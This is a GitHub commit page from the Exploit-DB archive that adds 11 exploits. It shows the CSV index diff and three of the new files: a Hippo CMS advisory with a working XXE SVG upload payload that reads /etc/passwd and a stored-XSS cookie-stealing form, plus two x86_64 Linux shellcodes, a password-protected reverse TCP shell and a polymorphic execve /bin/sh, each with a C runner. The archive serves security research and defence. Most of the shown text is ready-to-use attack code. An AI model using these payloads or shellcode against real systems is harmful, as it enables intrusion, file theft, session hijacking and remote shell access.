Skip to content

Commit 2ec2bcd

Browse files
author
Offensive Security
committed
DB: 2016-02-02
11 new exploits
1 parent acd2ef2 commit 2ec2bcd

12 files changed

Lines changed: 1183 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32489,6 +32489,7 @@ id,file,description,date,author,platform,type,port
3248932489
36036,platforms/php/webapps/36036.txt,"BlueSoft Rate My Photo Site 'ty' Parameter SQL Injection Vulnerability",2011-08-08,darkTR,php,webapps,0
3249032490
36037,platforms/multiple/dos/36037.txt,"Adobe Flash Media Server <= 4.0.2 NULL Pointer Dereference Remote Denial of Service Vulnerability",2011-08-09,"Knud Erik Hojgaard",multiple,dos,0
3249132491
36038,platforms/php/webapps/36038.txt,"WordPress eShop Plugin 6.2.8 - Multiple Cross Site Scripting Vulnerabilities",2011-08-10,"High-Tech Bridge SA",php,webapps,0
32492+
39386,platforms/php/webapps/39386.txt,"iScripts EasyCreate 3.0 - Multiple Vulnerabilities",2016-02-01,"Bikramaditya Guha",php,webapps,80
3249232493
36042,platforms/hardware/webapps/36042.txt,"LG DVR LE6016D - Remote File Disclosure Vulnerability",2015-02-10,"Yakir Wizman",hardware,webapps,0
3249332494
36043,platforms/php/webapps/36043.rb,"WordPress WP EasyCart - Unrestricted File Upload",2015-02-10,metasploit,php,webapps,80
3249432495
36044,platforms/php/webapps/36044.txt,"PHP Flat File Guestbook 1.0 - 'ffgb_admin.php' Remote File Include Vulnerability",2011-08-11,"RiRes Walid",php,webapps,0
@@ -35625,3 +35626,13 @@ id,file,description,date,author,platform,type,port
3562535626
39382,platforms/multiple/webapps/39382.txt,"SAP HANA 1.00.095 - hdbindexserver Memory Corruption",2016-01-28,ERPScan,multiple,webapps,0
3562635627
39383,platforms/lin_x86-64/shellcode/39383.c,"x86_64 Linux shell_reverse_tcp with Password - Polymorphic Version",2016-01-29,"Sathish kumar",lin_x86-64,shellcode,0
3562735628
39385,platforms/php/webapps/39385.txt,"ProjectSend r582 - Multiple Vulnerabilities",2016-01-29,"Filippo Cavallarin",php,webapps,80
35629+
39387,platforms/php/webapps/39387.py,"iScripts EasyCreate 3.0 - Remote Code Execution Exploit",2016-02-01,"Bikramaditya Guha",php,webapps,80
35630+
39388,platforms/lin_x86-64/shellcode/39388.c,"x86_64 Linux shell_reverse_tcp with Password - Polymorphic Version v2",2016-02-01,"Sathish kumar",lin_x86-64,shellcode,0
35631+
39389,platforms/lin_x86/shellcode/39389.c,"Linux x86 Download & Execute Shellcode",2016-02-01,B3mB4m,lin_x86,shellcode,0
35632+
39390,platforms/lin_x86-64/shellcode/39390.c,"x86_64 Linux Polymorphic Execve-Stack - 47 bytes",2016-02-01,"Sathish kumar",lin_x86-64,shellcode,0
35633+
39391,platforms/java/webapps/39391.txt,"Hippo CMS 10.1 - Multiple Vulnerabilities",2016-02-01,LiquidWorm,java,webapps,80
35634+
39393,platforms/windows/dos/39393.txt,"Autonics DAQMaster 1.7.3 - DQP Parsing Buffer Overflow Code Execution",2016-02-01,LiquidWorm,windows,dos,0
35635+
39395,platforms/windows/dos/39395.txt,"WPS Office < 2016 - .ppt Heap Memory Corruption",2016-02-01,"Francis Provencher",windows,dos,0
35636+
39396,platforms/windows/dos/39396.txt,"WPS Office < 2016 - .doc OneTableDocumentStream Memory Corruption",2016-02-01,"Francis Provencher",windows,dos,0
35637+
39397,platforms/windows/dos/39397.txt,"WPS Office < 2016 - .ppt drawingContainer Memory Corruption",2016-02-01,"Francis Provencher",windows,dos,0
35638+
39398,platforms/windows/dos/39398.txt,"WPS Office < 2016 - .xls Heap Memory Corruption",2016-02-01,"Francis Provencher",windows,dos,0

‎platforms/java/webapps/39391.txt‎

Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,179 @@
1+

2+
Hippo CMS 10.1 XML External Entity Information Disclosure Vulnerability
3+
4+
5+
Vendor: Hippo B.V.
6+
Product web page: http://www.onehippo.org
7+
Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition)
8+
9+
Summary: Hippo CMS is an open source Java CMS. We built it so you
10+
can easily integrate it into your existing architecture.
11+
12+
Desc: XXE (XML External Entity) processing through upload of SVG
13+
images in the CMS, and through XML import in the CMS Console application.
14+
15+
Tested on: Linux 2.6.32-5-xen-amd64
16+
Java/1.8.0_66
17+
Apache-Coyote/1.1
18+
19+
20+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
21+
@zeroscience
22+
23+
24+
Advisory ID: ZSL-2016-5301
25+
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5301.php
26+
27+
Vendor: http://www.onehippo.org/security-issues-list/security-12.html
28+
http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html
29+
30+
31+
04.12.2015
32+
33+
---
34+
35+
36+
[Request]:
37+
38+
39+
POST /?1-8.IBehaviorListener.0-root-tabs-panel~container-cards-2-panel-center-tabs-panel~container-cards-3-panel-editor-extension.editor-form-template-view-3-item-view-1-item-extension.upload-fileUpload-form-fileUpload HTTP/1.1
40+
Host: 10.0.2.17
41+
User-Agent: ZSL_Web_Scanner/2.8
42+
Accept: application/json, text/javascript, */*; q=0.01
43+
Accept-Language: en-US,en;q=0.5
44+
Accept-Encoding: gzip, deflate
45+
X-Requested-With: XMLHttpRequest
46+
Referer: https://10.0.2.17/?1&path=/content/gallery/test4.svg
47+
Content-Length: 2101
48+
Content-Type: multipart/form-data; boundary=---------------------------20443294602274
49+
Cookie: [OMMITED]
50+
Connection: keep-alive
51+
Pragma: no-cache
52+
Cache-Control: no-cache
53+
54+
55+
-----------------------------20443294602274
56+
Content-Disposition: form-data; name="id1a0_hf_0"
57+
58+
59+
-----------------------------20443294602274
60+
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:1:item
61+
:view:1:item:value:widget"
62+
63+
64+
-----------------------------20443294602274
65+
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item
66+
:view:1:item:view:1:item:view:1:item:value:widget"
67+
68+
69+
-----------------------------20443294602274
70+
Content-Disposition: form-data; name="cards:3:panel:editor:extension.editor:form:template:view:2:item
71+
:view:1:item:view:2:item:view:1:item:value:widget"
72+
73+
74+
-----------------------------20443294602274
75+
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
76+
:view:1:item:view:1:item:value:widget"
77+
78+
asd
79+
-----------------------------20443294602274
80+
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
81+
:view:2:item:view:1:item:value:widget"
82+
83+
hhh
84+
-----------------------------20443294602274
85+
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.left
86+
:view:3:item:view:1:item:panel:editor"
87+
88+
89+
-----------------------------20443294602274
90+
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right
91+
:view:2:item:view:1:item:value:widget"
92+
93+
hhh
94+
-----------------------------20443294602274
95+
Content-Disposition: form-data; name="cards:1:panel:editor:extension.editor:form:template:extension.right
96+
:view:3:item:view:1:item:value:widget"
97+
98+
hhhh
99+
-----------------------------20443294602274
100+
Content-Disposition: form-data; name="files[]"; filename="svgupload2.svg"
101+
Content-Type: image/svg+xml
102+
103+
<?xml version="1.0" standalone="yes"?><!DOCTYPE zsl [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]
104+
><svg width="500px" height="40px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999
105+
/xlink" version="1.1">&xxe;</svg>
106+
-----------------------------20443294602274--
107+
108+
109+
110+
[Response]:
111+
112+
113+
<?xml version="1.0" encoding="UTF-8"?><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www
114+
.w3.org/1999/xlink" height="7" version="1.1" viewBox="0 0 500.0 40.0" width="98">
115+
root:x:0:0:root:/root:/bin/bash
116+
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
117+
bin:x:2:2:bin:/bin:/bin/sh
118+
sys:x:3:3:sys:/dev:/bin/sh
119+
sync:x:4:65534:sync:/bin:/bin/sync
120+
***
121+
***
122+
***
123+
***
124+
</svg>
125+
126+
###############################################################################
127+
128+
<!--
129+
130+
Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability
131+
132+
133+
Vendor: Hippo B.V.
134+
Product web page: http://www.onehippo.org
135+
Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition)
136+
137+
Summary: Hippo CMS is an open source Java CMS. We
138+
built it so you can easily integrate it into your
139+
existing architecture.
140+
141+
Desc: Hippo CMS suffers from a stored XSS vulnerability.
142+
Input passed thru the POST parameters 'groupname' and
143+
'description' is not sanitized allowing the attacker to
144+
execute HTML code into user's browser session on the
145+
affected site.
146+
147+
148+
Tested on: Linux 2.6.32-5-xen-amd64
149+
Java/1.8.0_66
150+
Apache-Coyote/1.1
151+
152+
153+
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
154+
@zeroscience
155+
156+
157+
Advisory ID: ZSL-2016-5300
158+
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5300.php
159+
160+
Vendor: http://www.onehippo.org/security-issues-list/security-12.html
161+
http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html
162+
163+
164+
04.12.2015
165+
166+
-->
167+
168+
169+
<html>
170+
<body>
171+
<form action="https://10.0.2.17/?1-1.IBehaviorListener.0-root-tabs-panel~container-cards-6-panel-panel-form-create~button" method="POST">
172+
<input type="hidden" name="id26c_hf_0" value="" />
173+
<input type="hidden" name="groupname" value="<img src=ko onerror=confirm(document.cookie)>" />
174+
<input type="hidden" name="description" value="<img src=ko onerror=confirm(2)>" />
175+
<input type="hidden" name="create-button" value="1" />
176+
<input type="submit" value="Inject code" />
177+
</form>
178+
</body>
179+
</html>

‎platforms/lin_x86-64/shellcode/39388.c‎

Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
/*---------------------------------------------------------------------------------------------------------------------
2+
/*
3+
*Title: tcp reverse shell with password polymorphic version v2 135 bytes
4+
*Author: Sathish kumar
5+
*Contact: https://www.linkedin.com/in/sathish94
6+
*Copyright: (c) 2016 iQube. (http://iQube.io)
7+
*Release Date: January 29, 2016
8+
*Description: x64 Linux reverse TCP port shellcode on port 4444 with reconfigurable password
9+
*Tested On: Ubuntu 14.04 LTS
10+
*SLAE64-1408
11+
*Build/Run: gcc -fno-stack-protector -z execstack filename.c -o filename
12+
* ./bindshell
13+
* nc -l 4444 -vvv
14+
*
15+
16+
global _start
17+
18+
_start:
19+
20+
xor rax, rax ;Xor function will null the values in the register beacuse we doesn't know whats the value in the register in realtime cases
21+
xor rsi, rsi
22+
mul rsi
23+
push byte 0x2 ;pusing argument to the stack
24+
pop rdi ; poping the argument to the rdi instructions on the top of the stack should be remove first because stack LIFO
25+
inc esi ; already rsi is 0 so incrementing the rsi register will make it 1
26+
push byte 0x29 ; pushing the syscall number into the rax by using stack
27+
pop rax
28+
syscall
29+
30+
; copying the socket descripter from rax to rdi register so that we can use it further
31+
32+
xchg rax, rdi
33+
34+
; server.sin_family = AF_INET
35+
; server.sin_port = htons(PORT)
36+
; server.sin_addr.s_addr = INADDR_ANY
37+
; bzero(&server.sin_zero, 8)
38+
; setting up the data sctructure
39+
40+
xor rax, rax
41+
push rax ; bzero(&server.sin_zero, 8)
42+
mov ebx , 0xfeffff80 ; ip address 127.0.0.1 "noted" to remove null
43+
not ebx
44+
mov dword [rsp-4], ebx
45+
sub rsp , 4 ; adjust the stack
46+
xor r9, r9
47+
push word 0x5c11 ; port 4444 in network byte order
48+
push word 0x02 ; AF_INET
49+
push rsp
50+
pop rsi
51+
52+
53+
push 0x10
54+
pop rdx
55+
push 0x2a
56+
pop rax
57+
syscall
58+
59+
push 0x3
60+
pop rsi ; setting argument to 3
61+
62+
63+
64+
duplicate:
65+
dec esi
66+
mov al, 0x21 ;duplicate syscall applied to error,output and input using loop
67+
syscall
68+
jne duplicate
69+
70+
password_check:
71+
72+
push rsp
73+
pop rsi
74+
xor rax, rax ; system read syscall value is 0 so rax is set to 0
75+
syscall
76+
push 0x6b636168 ; password to connect to shell is hack which is pushed in reverse and hex encoded
77+
pop rax
78+
lea rdi, [rel rsi]
79+
scasd ; comparing the user input and stored password in the stack
80+
81+
82+
execve:
83+
xor esi, esi
84+
xor r15, r15
85+
mov r15w, 0x161f
86+
sub r15w, 0x1110
87+
push r15
88+
mov r15, rsp
89+
mov rdi, 0xff978cd091969dd0
90+
inc rdi
91+
neg rdi
92+
mul esi
93+
add al, 0x3b
94+
push rdi
95+
push rsp
96+
pop rdi
97+
call r15
98+
99+
100+
*/
101+
#include <stdio.h>
102+
#include <string.h>
103+
104+
unsigned char code[] =\
105+
"\x48\x31\xc0\x48\x31\xf6\x48\xf7\xe6\x6a\x02\x5f\xff\xc6\x6a\x29\x58\x0f\x05\x48\x97\x48\x31\xc0\x50\xbb\x80\xff\xff\xfe\xf7\xd3\x89\x5c\x24\xfc\x48\x83\xec\x04\x4d\x31\xc9\x66\x68\x11\x5c\x66\x6a\x02\x54\x5e\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\x54\x5e\x48\x31\xc0\x0f\x05\x68\x68\x61\x63\x6b\x58\x48\x8d\x3e\xaf\x31\xf6\x4d\x31\xff\x66\x41\xbf\x1f\x16\x66\x41\x81\xef\x10\x11\x41\x57\x49\x89\xe7\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xff\xc7\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x41\xff\xd7";
106+
107+
main()
108+
{
109+
printf("Shellcode Length: %d\n", (int)strlen(code));
110+
int (*ret)() = (int(*)())code;
111+
ret();
112+
}
113+

‎platforms/lin_x86-64/shellcode/39390.c‎

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
/*---------------------------------------------------------------------------------------------------------------------
2+
/*
3+
*Title: x86_64 linux Polymorphic execve-stack 47 bytes
4+
*Author: Sathish kumar
5+
*Contact: https://www.linkedin.com/in/sathish94
6+
* Copyright: (c) 2016 iQube. (http://iQube.io)
7+
* Release Date: January 6, 2016
8+
*Description: X86_64 linux Polymorphic execve-stack 47 bytes
9+
*Tested On: Ubuntu 14.04 LTS
10+
*SLAE64-1408
11+
*Build/Run: gcc -fno-stack-protector -z execstack sellcode.c -o shellcode
12+
* ./shellcode
13+
*
14+
global _start
15+
16+
_start:
17+
18+
xor esi, esi
19+
xor r15, r15
20+
mov r15w, 0x161f
21+
sub r15w, 0x1110
22+
push r15
23+
mov r15, rsp
24+
mov rdi, 0xff978cd091969dd0
25+
inc rdi
26+
neg rdi
27+
mul esi
28+
add al, 0x3b
29+
push rdi
30+
push rsp
31+
pop rdi
32+
call r15
33+
*/
34+
35+
36+
#include<stdio.h>
37+
#include<string.h>
38+
39+
unsigned char code[] = \
40+
"\x31\xf6\x4d\x31\xff\x66\x41\xbf\x1f\x16\x66\x41\x81\xef\x10\x11\x41\x57\x49\x89\xe7\x48\xbf\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48\xff\xc7\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x41\xff\xd7";
41+
main()
42+
{
43+
44+
printf("Shellcode Length: %d\n", (int)strlen(code));
45+
46+
int (*ret)() = (int(*)())code;
47+
48+
ret();
49+
50+
}
51+
52+

0 commit comments

Comments
 (0)